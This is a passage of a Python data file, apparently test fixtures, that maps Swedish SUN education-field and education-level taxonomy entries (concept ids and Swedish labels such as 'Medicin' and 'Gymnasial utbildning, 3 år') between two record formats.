'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Byggnadsteknik och anläggningsteknik', 'concept_id': 'TbLq_8FH_cNN', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'qxHd_cS3_339', 'preferred_label': 'Samhällsbyggnad och byggnadsteknik, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Samhällsbyggnad och byggnadsteknik, övrig och ospecificerad utbildning', 'concept_id': 'qxHd_cS3_339', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '6whE_Hgj_o82', 'preferred_label': 'Lantbruk, trädgård, skog och fiske, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Lantbruk, trädgård, skog och fiske, allmän utbildning', 'concept_id': '6whE_Hgj_o82', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'RXMT_9Ui_TJJ', 'preferred_label': 'Lantbruk', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Lantbruk', 'concept_id': 'RXMT_9Ui_TJJ', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'Vr5b_b9P_3mS', 'preferred_label': 'Trädgård', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Trädgård', 'concept_id': 'Vr5b_b9P_3mS', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'UAAw_NYh_3uY', 'preferred_label': 'Skog', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Skog', 'concept_id': 'UAAw_NYh_3uY', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'MbV3_bZe_HHF', 'preferred_label': 'Fiske och vattenbruk', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Fiske och vattenbruk', 'concept_id': 'MbV3_bZe_HHF', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'uX8X_4yf_Mm6', 'preferred_label': 'Lantbruk, trädgård, skog och fiske, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Lantbruk, trädgård, skog och fiske, övrig och ospecificerad utbildning', 'concept_id': 'uX8X_4yf_Mm6', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'fw6h_X4w_5iP', 'preferred_label': 'Djursjukvård', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Djursjukvård', 'concept_id': 'fw6h_X4w_5iP', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'ePB9_rjD_WYM', 'preferred_label': 'Hälso- och sjukvård, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Hälso- och sjukvård, allmän utbildning', 'concept_id': 'ePB9_rjD_WYM', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'EBEB_9iM_UH5', 'preferred_label': 'Medicin', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Medicin', 'concept_id': 'EBEB_9iM_UH5', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'fQMU_GjY_AkC', 'preferred_label': 'Omvårdnad', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Omvårdnad', 'concept_id': 'fQMU_GjY_AkC', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'LXNM_AzU_2G5', 'preferred_label': 'Tandvård', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Tandvård', 'concept_id': 'LXNM_AzU_2G5', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '12KX_UT8_y22', 'preferred_label': 'Tekniskt inriktad vårdutbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Tekniskt inriktad vårdutbildning', 'concept_id': '12KX_UT8_y22', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'bXtJ_oB1_5w6', 'preferred_label': 'Terapi, rehabilitering och kostbehandling', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Terapi, rehabilitering och kostbehandling', 'concept_id': 'bXtJ_oB1_5w6', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '8iie_en2_ff7', 'preferred_label': 'Farmaci', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Farmaci', 'concept_id': '8iie_en2_ff7', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'nDbs_yS5_4ku', 'preferred_label': 'Hälso- och sjukvård, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Hälso- och sjukvård, övrig och ospecificerad utbildning', 'concept_id': 'nDbs_yS5_4ku', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'qPrp_ZgA_vgH', 'preferred_label': 'Socialt arbete och socialt omsorgsarbete, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Socialt arbete och socialt omsorgsarbete, allmän utbildning', 'concept_id': 'qPrp_ZgA_vgH', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'p2Ky_NBB_N4Y', 'preferred_label': 'Barn och ungdom', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Barn och ungdom', 'concept_id': 'p2Ky_NBB_N4Y', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 't1wZ_E9z_Uz6', 'preferred_label': 'Socialt arbete', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Socialt arbete', 'concept_id': 't1wZ_E9z_Uz6', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'uZJ8_6KZ_fbE', 'preferred_label': 'Socialt arbete och socialt omsorgsarbete, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Socialt arbete och socialt omsorgsarbete, övrig och ospecificerad utbildning', 'concept_id': 'uZJ8_6KZ_fbE', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 't4kE_UxW_WxC', 'preferred_label': 'Personliga tjänster, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Personliga tjänster, allmän utbildning', 'concept_id': 't4kE_UxW_WxC', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'iGn1_QvT_Asi', 'preferred_label': 'Hotell, restaurang och storhushåll', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Hotell, restaurang och storhushåll', 'concept_id': 'iGn1_QvT_Asi', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'jZ9y_Vyg_Kvp', 'preferred_label': 'Turism, resor och fritid', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Turism, resor och fritid', 'concept_id': 'jZ9y_Vyg_Kvp', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'JFAV_cy3_b6a', 'preferred_label': 'Idrott och friskvård', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Idrott och friskvård', 'concept_id': 'JFAV_cy3_b6a', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'NCdQ_RwY_EbN', 'preferred_label': 'Hushållstjänster och lokalvård', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Hushållstjänster och lokalvård', 'concept_id': 'NCdQ_RwY_EbN', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '8xVi_MZF_dQL', 'preferred_label': 'Hårvård, skönhetsvård och massage', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Hårvård, skönhetsvård och massage', 'concept_id': '8xVi_MZF_dQL', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'Q9yA_4XU_KHo', 'preferred_label': 'Personliga tjänster, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Personliga tjänster, övrig och ospecificerad utbildning', 'concept_id': 'Q9yA_4XU_KHo', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'yEEt_gg6_XBK', 'preferred_label': 'Transporttjänster', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Transporttjänster', 'concept_id': 'yEEt_gg6_XBK', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'PiJ7_1y5_ztn', 'preferred_label': 'Arbetsmiljö och renhållning, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Arbetsmiljö och renhållning, allmän utbildning', 'concept_id': 'PiJ7_1y5_ztn', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'eC23_WkY_KKd', 'preferred_label': 'Arbetsmiljö och arbetarskydd', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Arbetsmiljö och arbetarskydd', 'concept_id': 'eC23_WkY_KKd', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'TKTt_U3W_xpF', 'preferred_label': 'Renhållning och avfallshantering', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Renhållning och avfallshantering', 'concept_id': 'TKTt_U3W_xpF', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'k2vb_jdE_dFL', 'preferred_label': 'Arbetsmiljö och renhållning, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Arbetsmiljö och renhållning, övrig och ospecificerad utbildning', 'concept_id': 'k2vb_jdE_dFL', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'CHpR_CZt_yFH', 'preferred_label': 'Säkerhetstjänster, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Säkerhetstjänster, allmän utbildning', 'concept_id': 'CHpR_CZt_yFH', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'gFgy_6ge_5y4', 'preferred_label': 'Säkerhet i samhället', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Säkerhet i samhället', 'concept_id': 'gFgy_6ge_5y4', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'GweQ_WZy_ns4', 'preferred_label': 'Militär utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Militär utbildning', 'concept_id': 'GweQ_WZy_ns4', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'Brzn_3gx_ynL', 'preferred_label': 'Säkerhetstjänster, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Säkerhetstjänster, övrig och ospecificerad utbildning', 'concept_id': 'Brzn_3gx_ynL', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'iVQn_SPL_8hc', 'preferred_label': 'Okänd', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Okänd', 'concept_id': 'iVQn_SPL_8hc', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-1', 'id': 'VQCo_PgG_39T', 'preferred_label': 'Förskoleutbildning', 'deprecated_legacy_id': None},
'sun-education-level-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-1', 'label': 'Förskoleutbildning', 'concept_id': 'VQCo_PgG_39T', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-1', 'id': 'p7d8_c57_h7X', 'preferred_label': 'Förgymnasial utbildning, kortare än 9 år', 'deprecated_legacy_id': None},
'sun-education-level-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-1', 'label': 'Förgymnasial utbildning, kortare än 9 år', 'concept_id': 'p7d8_c57_h7X', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-1', 'id': 'm5ZS_gKU_d4v', 'preferred_label': 'Förgymnasial utbildning, 9 (10) år', 'deprecated_legacy_id': None},
'sun-education-level-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-1', 'label': 'Förgymnasial utbildning, 9 (10) år', 'concept_id': 'm5ZS_gKU_d4v', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-1', 'id': 'wyLL_K3a_HRC', 'preferred_label': 'Gymnasial utbildning', 'deprecated_legacy_id': None},
'sun-education-level-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-1', 'label': 'Gymnasial utbildning', 'concept_id': 'wyLL_K3a_HRC', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-1', 'id': 'GD66_5wp_MSh', 'preferred_label': 'Eftergymnasial utbildning, kortare än 2 år', 'deprecated_legacy_id': None},
'sun-education-level-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-1', 'label': 'Eftergymnasial utbildning, kortare än 2 år', 'concept_id': 'GD66_5wp_MSh', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-1', 'id': 'KBjB_gpS_ZJL', 'preferred_label': 'Eftergymnasial utbildning, minst 2 år', 'deprecated_legacy_id': None},
'sun-education-level-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-1', 'label': 'Eftergymnasial utbildning, minst 2 år', 'concept_id': 'KBjB_gpS_ZJL', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-1', 'id': 'ygjL_oek_A2F', 'preferred_label': 'Forskarutbildning', 'deprecated_legacy_id': None},
'sun-education-level-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-1', 'label': 'Forskarutbildning', 'concept_id': 'ygjL_oek_A2F', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-2', 'id': 'UY9b_iWP_8Zw', 'preferred_label': 'Förskoleutbildning', 'deprecated_legacy_id': None},
'sun-education-level-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-2', 'label': 'Förskoleutbildning', 'concept_id': 'UY9b_iWP_8Zw', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-2', 'id': '9XKT_8kH_gi7', 'preferred_label': 'Förgymnasial utbildning kortare än 9 år', 'deprecated_legacy_id': None},
'sun-education-level-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-2', 'label': 'Förgymnasial utbildning kortare än 9 år', 'concept_id': '9XKT_8kH_gi7', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-2', 'id': '9WtB_jpA_rXE', 'preferred_label': 'Förgymnasial utbildning, 9 (10) år', 'deprecated_legacy_id': None},
'sun-education-level-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-2', 'label': 'Förgymnasial utbildning, 9 (10) år', 'concept_id': '9WtB_jpA_rXE', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-2', 'id': 'XMhw_at9_A3J', 'preferred_label': 'Gymnasial utbildning, kortare än 2 år', 'deprecated_legacy_id': None},
'sun-education-level-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-2', 'label': 'Gymnasial utbildning, kortare än 2 år', 'concept_id': 'XMhw_at9_A3J', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-2', 'id': 'GNkn_NLL_SFQ', 'preferred_label': 'Gymnasial utbildning, 2 år', 'deprecated_legacy_id': None},
'sun-education-level-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-2', 'label': 'Gymnasial utbildning, 2 år', 'concept_id': 'GNkn_NLL_SFQ', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-2', 'id': '7wEe_uui_q7S', 'preferred_label': 'Gymnasial utbildning, 3 år', 'deprecated_legacy_id': None},
'sun-education-level-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-2', 'label': 'Gymnasial utbildning, 3 år', 'concept_id': '7wEe_uui_q7S', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-2', 'id': '5zyL_72s_9Dq', 'preferred_label': 'Eftergymnasial utbildning, kortare än 2 år', 'deprecated_legacy_id': None},
'sun-education-level-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-2', 'label': 'Eftergymnasial utbildning, kortare än 2 år', 'concept_id': '5zyL_72s_9Dq', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-2', 'id': 'ou37_iEy_U9G', 'preferred_label': 'Eftergymnasial utbildning, 2 år', 'deprecated_legacy_id': None},
'sun-education-level-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-2', 'label': 'Eftergymnasial utbildning, 2 år', 'concept_id': 'ou37_iEy_U9G', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-2', 'id': 'NQLe_3u4_E3H', 'preferred_label': 'Eftergymnasial utbildning, 3 år', 'deprecated_legacy_id': None},
'sun-education-level-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-2', 'label': 'Eftergymnasial utbildning, 3 år', 'concept_id': 'NQLe_3u4_E3H', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-2', 'id': 'yXeS_uF8_bcJ', 'preferred_label': 'Eftergymnasial utbildning, 4 år', 'deprecated_legacy_id': None},
'sun-education-level-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-2', 'label': 'Eftergymnasial utbildning, 4 år', 'concept_id': 'yXeS_uF8_bcJ', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-2', 'id': '63Y9_Y6H_MRS', 'preferred_label': 'Eftergymnasial utbildning, 5 år eller längre', 'deprecated_legacy_id': None},
'sun-education-level-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-2', 'label': 'Eftergymnasial utbildning, 5 år eller längre', 'concept_id': '63Y9_Y6H_MRS', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-2', 'id': 'Tgwr_PnN_eXh', 'preferred_label': 'Övrig forskarutbildning', 'deprecated_legacy_id': None},
'sun-education-level-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-2', 'label': 'Övrig forskarutbildning', 'concept_id': 'Tgwr_PnN_eXh', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-2', 'id': 'dbU6_yuv_FBz', 'preferred_label': 'Licentiatutbildning', 'deprecated_legacy_id': None},
'sun-education-level-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-2', 'label': 'Licentiatutbildning', 'concept_id': 'dbU6_yuv_FBz', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-2', 'id': '212f_zrd_YnB', 'preferred_label': 'Doktorsutbildning', 'deprecated_legacy_id': None},
'sun-education-level-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-2', 'label': 'Doktorsutbildning', 'concept_id': '212f_zrd_YnB', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'TzAp_hjo_A8a', 'preferred_label': 'Övrig förskoleutbildning', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Övrig förskoleutbildning', 'concept_id': 'TzAp_hjo_A8a', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'p3Nu_zzc_L7T', 'preferred_label': 'Förskola', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Förskola', 'concept_id': 'p3Nu_zzc_L7T', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'pCha_vWk_pbR', 'preferred_label': 'Förskoleklass', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Förskoleklass', 'concept_id': 'pCha_vWk_pbR', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'WWUK_YR9_tiB', 'preferred_label': 'Övrig förgymnasial utbildning, kortare än 9 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Övrig förgymnasial utbildning, kortare än 9 år', 'concept_id': 'WWUK_YR9_tiB', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'aqCP_3Sv_hbt', 'preferred_label': 'Grundskoleutbildning, årskurs 1–6', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Grundskoleutbildning, årskurs 1–6', 'concept_id': 'aqCP_3Sv_hbt', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'kZCr_aNc_xrE', 'preferred_label': 'Folkskoleutbildning', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Folkskoleutbildning', 'concept_id': 'kZCr_aNc_xrE', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'gxFs_gGU_1AM', 'preferred_label': 'Övrig förgymnasial utbildning, 9 (10) år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Övrig förgymnasial utbildning, 9 (10) år', 'concept_id': 'gxFs_gGU_1AM', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'rprK_LHm_mqY', 'preferred_label': 'Realskoleutbildning', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Realskoleutbildning', 'concept_id': 'rprK_LHm_mqY', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'wkuu_1Vj_bjf', 'preferred_label': 'Grundskoleutbildning, årskurs 7–9 (10)', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Grundskoleutbildning, årskurs 7–9 (10)', 'concept_id': 'wkuu_1Vj_bjf', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'iGTR_7gg_kkU', 'preferred_label': 'Övrig gymnasial utbildning, kortare än 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Övrig gymnasial utbildning, kortare än 2 år', 'concept_id': 'iGTR_7gg_kkU', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'iztQ_c73_SFg', 'preferred_label': 'Gymnasial utbildning, studieförberedande, ej examen, kortare än 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Gymnasial utbildning, studieförberedande, ej examen, kortare än 2 år', 'concept_id': 'iztQ_c73_SFg', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'yaxP_FTp_8tY', 'preferred_label': 'Gymnasial utbildning, yrkesinriktad, ej examen, kortare än 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Gymnasial utbildning, yrkesinriktad, ej examen, kortare än 2 år', 'concept_id': 'yaxP_FTp_8tY', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': '7FFZ_yZV_63D', 'preferred_label': 'Gymnasial utbildning, studieförberedande, kortare än 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Gymnasial utbildning, studieförberedande, kortare än 2 år', 'concept_id': '7FFZ_yZV_63D', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'FqU9_fvY_7aG', 'preferred_label': 'Gymnasial utbildning, yrkesinriktad, kortare än 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Gymnasial utbildning, yrkesinriktad, kortare än 2 år', 'concept_id': 'FqU9_fvY_7aG', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'eykP_7QJ_HP4', 'preferred_label': 'Övrig gymnasial utbildning, 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Övrig gymnasial utbildning, 2 år', 'concept_id': 'eykP_7QJ_HP4', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'uzND_WKS_EvF', 'preferred_label': 'Gymnasial utbildning, studieförberedande, ej examen, 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Gymnasial utbildning, studieförberedande, ej examen, 2 år', 'concept_id': 'uzND_WKS_EvF', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'rsT8_uBz_7GD', 'preferred_label': 'Gymnasial utbildning, yrkesinriktad, ej examen, 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Gymnasial utbildning, yrkesinriktad, ej examen, 2 år', 'concept_id': 'rsT8_uBz_7GD', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': '51zD_KTU_BvN', 'preferred_label': 'Gymnasial utbildning, studieförberedande, 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Gymnasial utbildning, studieförberedande, 2 år', 'concept_id': '51zD_KTU_BvN', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': '5zXG_hBr_f5r', 'preferred_label': 'Gymnasial utbildning, yrkesinriktad, 2 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Gymnasial utbildning, yrkesinriktad, 2 år', 'concept_id': '5zXG_hBr_f5r', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-level-3', 'id': 'dQJv_EFZ_ARk', 'preferred_label': 'Övrig gymnasial utbildning, 3 år', 'deprecated_legacy_id': None},
'sun-education-level-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-level-3', 'label': 'Övrig gymnasial utbildning, 3 år', 'concept_id': 'dQJv_EFZ_ARk', 'legacy_ams_taxonomy_num_id': None}),
